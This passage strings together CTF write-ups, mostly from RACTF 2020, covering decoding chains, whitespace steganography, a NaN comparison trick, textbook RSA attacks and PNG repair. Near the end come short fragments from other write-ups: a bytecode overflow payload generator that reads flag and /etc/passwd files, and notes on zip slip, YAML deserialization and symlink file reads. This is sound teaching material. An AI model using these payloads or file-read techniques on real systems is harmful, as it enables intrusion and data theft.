go_away_msgs = ["This is the part where you *leave*, bro.", "Look, if you don't get outta here soon ima run rm -rf on ya", "I don't want you here. GO AWAY.", "Leave me alone now.", "GOODBYE!", "I used to want you dead but...", "now I only want you gone."]
time.sleep(1)print("Urgh. Not you again.")time.sleep(2)print("Fine. I'll tell you more.")time.sleep(2)print("...")time.sleep(2)print("But, being the chaotic evil I am, I'm not giving it to you in plaintext.")time.sleep(4)print("Enjoy this.")time.sleep(1)print("JA2HGSKBJI4DSZ2WGRAS6KZRLJKVEYKFJFAWSOCTNNTFCKZRF5HTGZRXJV2EKQTGJVTXUOLSIMXWI2KYNVEUCNLIKN5HK3RTJBHGIQTCM5RHIVSQGJ3C6MRLJRXXOTJYGM3XORSIJN4FUYTNIU4XAULGONGE6YLJJRAUYODLOZEWWNCNIJWWCMJXOVTEQULCJFFEGWDPK5HFUWSLI5IFOQRVKFWGU5SYJF2VQT3NNUYFGZ2MNF4EU5ZYJBJEGOCUMJWXUN3YGVSUS43QPFYGCWSIKNLWE2RYMNAWQZDKNRUTEV2VNNJDC43WGJSFU3LXLBUFU3CENZEWGQ3MGBDXS4SGLA3GMS3LIJCUEVCCONYSWOLVLEZEKY3VM4ZFEZRQPB2GCSTMJZSFSSTVPBVFAOLLMNSDCTCPK4XWMUKYORRDC43EGNTFGVCHLBDFI6BTKVVGMR2GPA3HKSSHNJSUSQKBIE")time.sleep(5)for i in go_away_msgs: time.sleep(2) print(i)time.sleep(0.5)```
And we got another decrypted/decoded code, we can see that it consists only of letters and numbers, in the hope that this isn't some ciphertext I tried using base32 as it only uses letters and numbers (and too many letters to be hexadecimal), by doing so we get another code which consists of letters, numbers and symbols so we can safely assume that this is base64 again, and decoding the data from base64 we get...
```.....=.^.ÿíYQ.. .¼JGÐû_ÎÝþÌ´@_2.ý¬/Ý.y...RÎé÷.×An.íTý¯ÿo.£.<ß¼..¬Yna=¥.ì,æ¢,.ü.ò$àÀfk^î|t. ..¡cYd¡.X.P.;×"åÎ.m..¸±'..D/.nlûÇ..².©i.ÒY¸üp.].X¶YI.ÖËöu.°^.e.r.].ʱWéò¤.@S.ʾöæ6.Ë Ù.ôÆÖ..×X&ìc?Ù.wRÎ[÷Ð^Öõ±ÝßI1..<wR7Æ..®$hÞ ..```...yeah this doesn't look good, but without losing hope and checked if this is a file, so I downloaded the data and fortunately it is one, a gz compressed data file in fact:
[link to file](assets//files//Spentalkux.gz)
In this file we got another decoded/decrpyted data (I really lost count of how many were in this challenge by now), the data consists only of 1 and 0 so most of the time it is one of three things - binary data, morse code or bacon code, so I first checked if it's binary and got another block of binary data, decoding it we get data which looks like hex and decoding that we get...weird random-looking data, so it is obviously base85 encoded, so I base85 decoded the data and finally after too many decrpytings and decodings we got the flag:
**Resources:**
* Cyberchef : https://gchq.github.io/CyberChef/ * Spentalkux Package : https://pypi.org/project/spentalkux/
## pearl pearl pearlpearlpearlpearlpearlpearlpearlpearlpearlpearlpearlpearlpearlpearlpearlpearl
**ractf{p34r1_1ns1d3_4_cl4m}**
**Solution:** When we connect to server we are given the following stream of data:
When I started this challenge I immidiatly noticed the similarities it has with a challenge in AngstromCTF 2020 called clam clam clam, in it, a massage was hidden by using a carriage return symbol so when you are connected to the server and the output is printed to the terminal you can't see the message as the symbol makes the terminal overwrite the data in the line, but if you check the actual data printed by the server you can see the message.So, I wrote a short script which connects to the server, reads the data and prints it to the screen without special symbols taking effect (and most importantly carriage return), but it didnt work, it's seems that even though there are a lot of carriage return symbols in the data there aren't any hidden messages.Then I started thinking about data representation, it seemed that there are a lot of carriage returns without the need of them, even sometimes one after the other, but always after a series of carriage returns there is a new line symbol:
and then it hit me, what if the new line symbol and carriage return symbol reprenst 0 and 1?With that in mind, I wrote a short script which creates a empty string, reads until an end of a false flag and check if the symbol afterwards is new line or carriage return and append 0 or 1 to the string accordinaly, in the end it encodes the binary string to ascii characters and prints them:```python 3from pwn import remoteimport binasciihost = "88.198.219.20"port = 22324s = remote(host, port)flag = ''try: while 1: s.recvuntil("}") end = str(s.recv(1)) if 'r' in end: flag += '0' else: flag += '1'except EOFError: print(''.join([chr(int(flag[i:i + 8], 2)) for i in range(0, len(flag), 8)]))```and I got the flag:
**Resources:*** Writeup for clam clam clam challenge from AngstromCTF 2020: https://ctftime.org/writeup/18869* Explanation on carriage return from my writeup on TJCTF 2020: https://github.com/W3rni0/TJCTF_2020#censorship
## Reading Between the LinesWe found a strange file knocking around, but I've got no idea who wrote it because the indentation's an absolute mess!
[main.c](https://files.ractf.co.uk/challenges/57/main.c)
**ractf{R34d1ngBetw33nChar4ct3r5}**
**Solution:** This one I actually figured out while writing the writeup for the previous challenge (who said writing writeups is useless), the challenges are very simillar in the way that the data is represented, but this one in my opinion is much trickier.When I first viewed the file I noticed the strange indentations all over the place, if we open the file in Notepad++ we can set the editor to let us view special characters such as tabs and spaces:
I didn't think much of them at the start, then I tried transforming them to morse code in the same way I showed in the previous challenge to no avail (I guess I tried it first because the editor represents the symbols in a similar fashion) but actually the hidden data transcribed by the tab symbol and the space symbol is binary when the space symbol reprensts 0 and the tab symbol represents 1, so I wrote a really short script that reads the code and just filter out of the way all the characters except the space symbol and tab symbol, decodes them to binary in the way I described and from that to an ascii encoded string:
```python 3import redata = open("main.c",'r').read()data = re.sub(r'[^\t\s]',r'',data).replace(" ",'0').replace("\t",'1').split("\n")data = [c for c in data if c != '1']print(''.join([chr(int(c, 2)) for c in data]))```
and we got the flag:
**Resources:*** Notepad++: https://notepad-plus-plus.org/
## Mad CTF DiseaseTodo:\[x] Be a cow\[x] Eat grass\[x] Eat grass\[x] Eat grass\[ ] Find the flag
[cow.jpg](assets//images//mad_CTF_disease.jpg)
**ractf{exp3rt-mo0neuv3r5}**
**Solution:** Now to change things up we got ourselves a stego-but-not-in-stego type of challenge, with the challenge we get this nice JPEG image data file:
<p align="center">
First thing I do when faced with images is to check using binwalk if there are any embedded files in the images, as expected binwalk finds nothing in this image, afterwards I check using steghide also for embedded files, It supposed to do a better job but I mostly use it by habit because binwalk almost always finds the same files and...
...wait...did steghide actually found a file!? if we take a look at the file steghide (!) found we see a really bizzare text constructed only by moo's:```OOOMoOMoOMoOMoOMoOMoOMoOMoOMMMmoOMMMMMMmoOMMMMOOMOomOoMoOmoOmoomOoMMMmoOMMMMMMmoOMMMMOOMOomOoMoOmoOmoomOoMMMmoOMMMMMMmoOMMMMOOMOomOoMoOmoOmooOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoomOoOOOmoOOOOmOomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOo```I recognized this text when I first saw this as the programming language called COW, an esoteric programming language created in the 90's, I recognized it mostly because me and my friends used to joke about this kind of languages at uni, Now we only need to find an interpreter for this code, I used the one linked at the resources after a quick google search and run it on the code:
and we got our cow-scented flag.
**Resources:*** steghide: http://steghide.sourceforge.net/* COW programming language: https://esolangs.org/wiki/COW* COW interpreter: http://www.frank-buss.de/cow.html
## TeleportOne of our admins plays a strange game which can be accessed over TCP. He's been playing for a while but can't get the flag! See if you can help him out.
[teleport.py](https://files.ractf.co.uk/challenges/47/teleport.py)
**ractf{fl0at1ng_p01nt_15_h4rd}**
**Solution:** With the challenge we are given the following script in python 3:```python 3import math
x = 0.0z = 0.0flag_x = 10000000000000.0flag_z = 10000000000000.0print("Your player is at 0,0")print("The flag is at 10000000000000, 10000000000000")print("Enter your next position in the form x,y")print("You can move a maximum of 10 metres at a time")for _ in range(100): print(f"Current position: {x}, {z}") try: move = input("Enter next position(maximum distance of 10): ").split(",") new_x = float(move[0]) new_z = float(move[1]) except Exception: continue diff_x = new_x - x diff_z = new_z - z dist = math.sqrt(diff_x ** 2 + diff_z ** 2) if dist > 10: print("You moved too far") else: x = new_x z = new_z if x == 10000000000000 and z == 10000000000000: print("ractf{#####################}") break```And a server to connect which runs the same script with the flag uncensored:
This is the last challenge I solved in the misc. category and admittedly the challenge I spent most of my time on in the CTF.\We can assume by the script that we need to get to the specified position to get the flag, also we can assume that the script is written in python 3 so the input function does not evaluate the data given to it and regards it as a string.\When I first started working on it I tried writing a script which connect to the server and moves the player to the needed position, I quickly found out that there is a for loop with a range limited enough that you can't just move the player to that position 10 meters at a time. Then I tried looking for ways to make the script evaluate commands so that I can change the value of the player position or read the file from outside but those didn't work, after a while of trying everything I can and literally slamming my hands on the keyboard hoping something will work I noticed that in python 3 the input function return the string given simillar to how raw_input works in python 2, so the float function in the code gets a string as an input and returns a float value but how does it work, and more importantly which strings does it accepts and how they are parsed, after a google search I found in a stackoverflow question (linked below) the following table:
```val is_float(val) Note-------------------- ---------- --------------------------------"" False Blank string"127" True Passed stringTrue True Pure sweet Truth"True" False Vile contemptible lieFalse True So false it becomes true"123.456" True Decimal" -127 " True Spaces trimmed"\t\n12\r\n" True whitespace ignored"NaN" True Not a number"NaNanananaBATMAN" False I am Batman"-iNF" True Negative infinity"123.E4" True Exponential notation".1" True mantissa only"1,234" False Commas gtfou'\x30' True Unicode is fine."NULL" False Null is not special0x3fade True Hexadecimal"6e7777777777777" True Shrunk to infinity"1.797693e+308" True This is max value"infinity" True Same as inf"infinityandBEYOND" False Extra characters wreck it"12.34.56" False Only one dot allowedu'四' False Japanese '4' is not a float."#56" False Pound sign"56%" False Percent of what?"0E0" True Exponential, move dot 0 places0**0 True 0___0 Exponentiation"-5e-5" True Raise to a negative number"+1e1" True Plus is OK with exponent"+1e1^5" False Fancy exponent not interpreted"+1e1.3" False No decimals in exponent"-+1" False Make up your mind"(1)" False Parenthesis is bad```this tells us that we can give as an argument the string "NaN" and the function will return the value nan.\nan, which stands for not a number, is used in floating point arithmetic to specify that the value is undefined or unrepresentable (such with the case of zero divided by zero), this value is great for us because any arithmetic operation done on nan will result with the value of nan, and for any value x the comperison nan > x is alway false, so if we give as inputs NaN to the script we will get that the value of the variable dist is nan and so the comparison of dist > 10 will be always false and our values of x and z will be assigned with nan, in the next round we can simply give the server any value we want and because x and z are nan we will still get that dist is nan, when we try this on the server we get the following:
Looks like it works! now all we need is to try it on the target position:
and we have the flag.
**Resources:*** https://stackoverflow.com/questions/379906/how-do-i-parse-a-string-to-a-float-or-int
***# Cryptography
## Really Simple AlgorithmWe found a strange service running over TCP (my my, there do seem to be a lot of those as of late!). Connect to the service and see if you can't exploit it somehow.
**ractf{JustLikeInTheSimulations}**
**Solution:** We get with the challenge a server to connect to, when we connect we get the following from the server:
By the name of the challenge and the given parameters we can guess that we have a ciphertext (ct) that we need to decrypt using RSA, without going to details about the inner workings of this cipher RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrpyt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specificly in RSA in order to find the private key we need to solve the integer factorazition problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, futhermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us insted of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller to pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encrpytion in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, simillarly, decryption is raising the ciphertext to the power of d mod n, quick summary:
Now that we have a small grasp on the RSA cipher we can find the plaintext, for that we can simply calculate phi using p and q, calculate d the modular inverse of e for mod phi (there are simple algorithms to do that when phi is known) and raise the ct to the power of d all that mod n, granted we need to format the given data such that we get a string as an output but that is pretty much it, for that I wrote the following simple script:```python 3from Crypto.Util.number import inverse,long_to_bytes
p = 12833901728970171388678945507754676960570564187478915890756252680302258738572768425514697119116486522872735333269301121725837213919119361243570017244930827q = 8685010637106121107084047195118402409215842897698487264267433718477479354767404984745930968495304569653593363731183181235650228232448723433206649564699917e =65537ct = 104536221379218374559315812842898785543586172192529496741654945513979724836283541403985361204608773215458113360936324585410377792508450050738902701055214879301637084381595170577259571394944946964821278357275739836194297661039198189108160037106075575073288386809680879228538070908501318889611402074878681886350
n = p * qphi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```by running it we get:
and we have our flag
**Resources:*** RSA: https://en.wikipedia.org/wiki/RSA_(cryptosystem)* For further read about RSA (and better explanation): https://sbrilliant.org/wiki/rsa-encryption/
## Really Small Algorithm
Connect to the network service to get the flag.
**ractf{S0m3t1mesS1zeDoesM4773r}**
**Solution:** With this challenge we are given a server to connect to, when we connect we are greeted with the following:
in the last challenge I tried to explain how RSA works, this time I will try (and hopefully won't fail misearably) to exalain why RSA works, for that we need to talk about factors, factors are numbers which can be divided only by 1 and themself (we are only talking about whole numbers), we have discovered that there are infinitly many factors and that we can represent any number as the multiplication of factors, but, we havent discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awefully small, small enough that it most be in some databases, for that challenge I used factordb.com to search for factors:
as you can see factordb found for us the factors of the number n, and one of them was even 17, which means that if I would have wanted to write an algorithm which runs over all the primes to search for p and q it would have immidiatly discover them, now that we have the factors we can calculate phi, find d the modular multiplicative inverse of e, raise the ciphertext to the power of d, find the modulo n value of that and format to an ascii encoded string, for that we can use the script from the previous challenge with some modification:```python 3from Crypto.Util.number import long_to_bytes,inverse
p = 17q = 11975606908079261451371715080188349439393343105877798075871439319852479638749530929101540963005472358829378014711934013985329441057088121593182834280730529e = 65537ct = 201812836911230569004549742957505657715419035846501465630311814307044647468173357794916868400281495363481603543592404580970727227717003742106797111437347855
n = p*qphi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```by running that we get:
and we have our small-sized flag.
**Resouces:*** Integer factorazition problem: https://en.wikipedia.org/wiki/Integer_factorization* factordb: http://www.factordb.com/* Alpertron: https://www.alpertron.com.ar/ECM.HTM
## Really Speedy AlgorithmConnect to the network service to get the flag. The included template script may be of use.
[template.py](https://files.ractf.co.uk/challenges/5/template.py)
**ractf{F45t35tCryp70gr4ph3rAr0und}**
**Solution:** With the challenge we are given a server to connect, when we do that we get:
so we have another RSA challenge (makes sense by the title), in the previous two challenges I covered how RSA works and why it works, and we've seen some of the attributes that the parameters of RSA have and the connections beetwen them, now it's time to test our skills, the server gives as some simple simple challenges such as finding n with q,p given, and some harder challenges like decrypting a ct with q,p and e given. luckily there arent any challenges like the previous one which tasks us with finding primes (there is a package to do that but I think it will not work with the time limit at hand), so for that I wrote the following script which reads the given parameters and the objective, performs the steps needed and send the response back to server, for me the connection to the server was a bit spotty so I added a dirty try-catch statement so that the script will retry until some string with the format of the flag will be given by the server (I didn't use the tamplate):```python 3from pwn import *from Crypto.Util.number import inverse
def beautify_data(msg): return str(msg)[2:-1].replace("\\n",'\n').replace("\\t",'\t')
def connect(): s = remote(host, port) try: data = {} while 1: option = s.recvuntil("]") if "[:]" in str(option): param = beautify_data(s.recvuntil(': ')).split(" ")[-2][:-1] value = beautify_data(s.recvuntil("\n")).strip() data[param] = int(value) if "[?]" in str(option): objective = beautify_data(s.recvuntil(': ')).split(" ")[-2][:-1] params = list(data.keys()) if params == ['p','n'] and objective == 'q': q = data['n'] // data['p'] s.send(str(q) + "\n") elif params == ['p','phi','e','ct'] and objective == 'pt': q = data['phi'] // (data['p'] - 1) + 1 n = data['p'] * q d = inverse(data['e'], data['phi']) pt = pow(data['ct'],int(d),int(n)) s.send(str(pt) + "\n") elif params == ['q','n'] and objective == 'p': p = data['n'] // data['q'] print(p) s.send(str(p) + "\n") elif params == ['p','q'] and objective == 'n': n = data['p'] * data['q'] s.send(str(n) + "\n") elif params == ['p','q','e','pt'] and objective == 'ct': phi = (data['p'] - 1) * (data['q'] - 1) n = data['p'] * data['q'] ct = pow(data['pt'], data['e'], int(n)) s.send(str(ct) + "\n") elif params == ['p','q','e'] and objective == 'd': phi = (data['p'] - 1) * (data['q'] - 1) d = inverse(data['e'],phi) s.send(str(d) + "\n") elif params == ['p','q','d'] and objective == 'e': phi = (data['p'] - 1) * (data['q'] - 1) e = inverse(data['d'],phi) s.send(str(e) + "\n") data = {} print(objective) response = s.recv(100) print(beautify_data(response)) if 'ractf' in str(response): exit(0) except EOFError: connect()
host = '88.198.219.20'port = 23125connect()```as you can see all the challenges are like we've seen in previous challenges, I prefered to use pwntools' remote module instead of sockets as was recommended by the CTF team beacuse I'm more accustomed to it, by running the code we get:
and we have our lighting-fast flag.
## B007l3G CRYP70While doing a pentest of a company called MEGACORP's network, you find these numbers laying around on an FTP server:41 36 37 27 35 38 55 30 40 47 35 34 43 35 29 32 38 37 33 45 39 30 36 27 32 35 36 52 72 54 39 42 30 30 58 27 37 44 72 47 28 46 45 41 48 39 27 27 53 64 32 58 43 23 37 44 32 37 28 50 37 19 51 53 30 41 18 45 79 46 40 42 32 32 46 28 37 30 43 31 26 56 37 41 61 68 44 34 26 24 48 38 50 37 27 31 30 38 34 58 54 39 30 33 38 18 33 52 34 36 31 33 28 36 34 45 55 60 37 48 57 55 35 60 22 36 38 34. Through further analysis of the network, you also find a network service running. Can you piece this information together to find the flag?
**ractf{d0n7_r0ll_y0ur_0wn_cryp70}**
**Solution:** With the challenge we are given a server to connect to, when we connect we get the following:
I played for a while with the encryption and noticed three things, the first is that the ciphertext, which consists of 4 \* n numbers where n is the number of letters in the cipher text, changes even though the plaintext remains the same, which means that the specific numbers returned are of no importance to the decryption. The second thing and the most important thing is that the *sum* of the numbers is constant for every plaintext given, and when the message consists of one letter letter only the sum is equal to 255 minus the ascii order of the character, or equivalently the inverse of the order of the character in binary. The third thing is that appending two messeges results with a ciphertext twice the size, where the sum remains consistent with the previous attributes I mentioned, an example of this:
So with that in mind I wrote the following code which reads splits the ciphertext given with the challenge to numbers, sums every four succeeding number and find the inverse of the sum and the character with this ascii encoding:```python 3import re
cipher = "41 36 37 27 35 38 55 30 40 47 35 34 43 35 29 32 38 37 33 45 39 30 36 27 32 35 36 52 72 54 39 42 30 30 58 27 37 44 72 47 28 46 45 41 48 39 27 27 53 64 32 58 43 23 37 44 32 37 28 50 37 19 51 53 30 41 18 45 79 46 40 42 32 32 46 28 37 30 43 31 26 56 37 41 61 68 44 34 26 24 48 38 50 37 27 31 30 38 34 58 54 39 30 33 38 18 33 52 34 36 31 33 28 36 34 45 55 60 37 48 57 55 35 60 22 36 38 34"numbers = re.findall("[0-9]+",cipher)for i in range(0,len(numbers),4): value = 255 - sum([int(a) for a in numbers[i:i+4]]) print(chr(value), end='')print("")```by running it we get:
and we found our flag.
***
# Steg / Forensics
## Cut shortThis image refuses to open in anything, which is a bit odd. Open it for the flag!
[flag.png](https://files.ractf.co.uk/challenges/73/flag.png)
**ractf{1m4ge_t4mp3r1ng_ftw}**
**Solution:** With the challenge we are given a PNG image data which seems to be corrupted because we can't view it, so we need to find a way to fix the image. Fortunately, the format of PNG image data is quite easy to understand, this type of files mostly consists of the png file signature, which are the first 8 bytes of the file same across all PNG images used for detecting that the file is a PNG image, an IHDR chunk which specify the dimension of the image and a few other things, a lot of IDAT chunks which contains the actual compressed image data and in the end an IEND chunk which specify the end of the image, each chunks starts with the chunk size and end with the chunk crc32 code which helps detect data corruption in the chunk (we'll get to that next challenge), now if we look at the given image with an hex editor (I used HxD) we see the following:
We can see that there is an IEND chunk at the start of the image right after the file signature, which is wrong and makes image viewers neglect all the preceeding data, so we can delete this chunk, it starts in the eighth byte and ends in the 19th byte, after deleting this chunk we can try viewing the image again, by doing that we get:
and we have our flag.
**Resources:*** PNG format specification (long version): https://www.w3.org/TR/2003/REC-PNG-20031110/* PNG format specification (short version): http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* HxD: https://mh-nexus.de/en/hxd/
## Dimensionless Loading
This PNG looks to be valid, but when we open it up nothing loads. Any ideas?
**ractf{m1ss1ng_n0_1s_r34l!!}**
[flag.png](https://files.ractf.co.uk/challenges/72/flag.png)
**Solution:** We once again get a PNG image with the challenge, and again it seems we can view it, so it is too corrupted, if we view the file in hex editor we see the following
I explained in the previous challenge the PNG image layout, whats important in our case is the IHDR chunk, this chunk is the first to appear in a PNG file right after the file signature and specify the dimension of the image and other metadata the image viewers can use to show the image, in the specification of the PNG file format we can see:
so we can infer that the width and height of the image are four bytes each an are the first attributes in the chunk, if we look again at the hexdump of the file we can see that this bytes are equal to zero, so the dimensions of the image are zero. Alternativly, we can use the tool pngcheck on linux and it will return that the image dimension are invalid, with them being 0x0, so we now know our problem but how we can fix it? unfortunatly the image width and height are only stored in the IHDR chunk, so we'll need to brute force our way, for that we need to talk about crc some more.\ As I explained in the previous challenge each chunk is preceeded by a crc code which check the integrity of the chunk, the algorithm itself for calculating the code, which is called Cyclic redundancy check, is not important at the moment but we should keep in mind that it does its job very well, and that we have a python module zlib implements it, so if we iterate over all the reasonable dimensions for the image, calculate the crc code for the chunk again and compare it to the code stored in the image, which in our case we can see in the hexdump that it is 0x5b8af030, we can hopefully find the correct dimension for the image, so I wrote the following script which roughly does what I described and prints the dimensions that match:
``` python 3 from zlib import crc32
data = open("corrupted.png",'rb').read() index = 12
ihdr = bytearray(data[index:index+17]) width_index = 7 height_index = 11
for x in range(1,2000): height = bytearray(x.to_bytes(2,'big')) for y in range(1,2000): width = bytearray(y.to_bytes(2,'big')) for i in range(len(height)): ihdr[height_index - i] = height[-i -1] for i in range(len(width)): ihdr[width_index - i] = width[-i -1] if hex(crc32(ihdr)) == '0x5b8af030': print("width: {} height: {}".format(width.hex(),height.hex())) for i in range(len(width)): ihdr[width_index - i] = bytearray(b'\x00')[0] ``` most of the code is just handling with bytearrays, running it will give us the following:
we can see that the script found only one match, which is great because the only thing left for us to do is replace the dimension in the image with this dimension and we hopefully done, the hexdump should look now like this (different in the second row):
and by trying to view the image again we get:
and we got the flag.
**Resources:*** PNG format specification (long version): https://www.w3.org/TR/2003/REC-PNG-20031110/* PNG format specification (short version): http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* HxD: https://mh-nexus.de/en/hxd/ |
In brief: do `globals()["open"]("/home/ractf/flag.txt").read()` in Python bytecode.
At first I tried reading `flag.txt` but it didn't work. Then my teammate ArRu reminded me that maybe the flag is in another directory, so we tried reading `/etc/passwd` and learned that the home directory of user `ractf` is `/home/ractf`.
Payload generator:
```import sysdef put(string): bytecode = b"" for n, i in enumerate(string): bytecode += b"t\x00" # LOAD_GLOBAL 0 (chr) bytecode += b"d" + bytes([ord(i)]) # LOAD_CONST n bytecode += b"\x83\x01" # CALL_FUNCTION 1 if n != 0: bytecode += b"\x17\x00" # BINARY_ADD return bytecodedef attr(payload, attr): payload = b"e\x04" + payload # LOAD_GLOBAL 4 (getattr) payload += put(attr) payload += b"\x83\x02" # CALL_FUNCTION 2 return payload# globals()payload = b"e\x02" # LOAD_NAME 2 (globals)payload += b"\x83\x00" # CALL_FUNCTION 0# globals()["open"]payload += put("open")payload += b"\x19\x10" # BINARY_SUBSCR# globals()["open"]("flag.txt")payload += put("flag.txt")payload += b"\x83\x01" # CALL_FUNCTION 1# globals()["open"]("flag.txt").read()payload = attr(payload, "read")payload += b"\x83\x00" # CALL_FUNCTION 0payload = b"a" * 32 + payloadsys.stdout.buffer.write(payload)```The script says it all, but here's a **[more detailed write-up](https://ypl.coffee/ractf-2020-puffer-overflow/)** if you want more information.
Flag: `ractf{Puff3rf1sh??}`
Hmmm...The flag is a little bit too short, isn't it? :-/ |
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**tl;dr**
+ Zip Slip Vulnerability + YAML Deserialization Attack + Race Condition+ Unintended Solution: Upload symlink leading to arbitarary file reads
For full writeup, click [here](https://blog.bi0s.in/2020/06/07/Web/Defenit20-TarAnalyzer/) |
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# Omni Crypto Writeup
### Pwn2Win CTF 2020 - crypto 246 - 32 solves
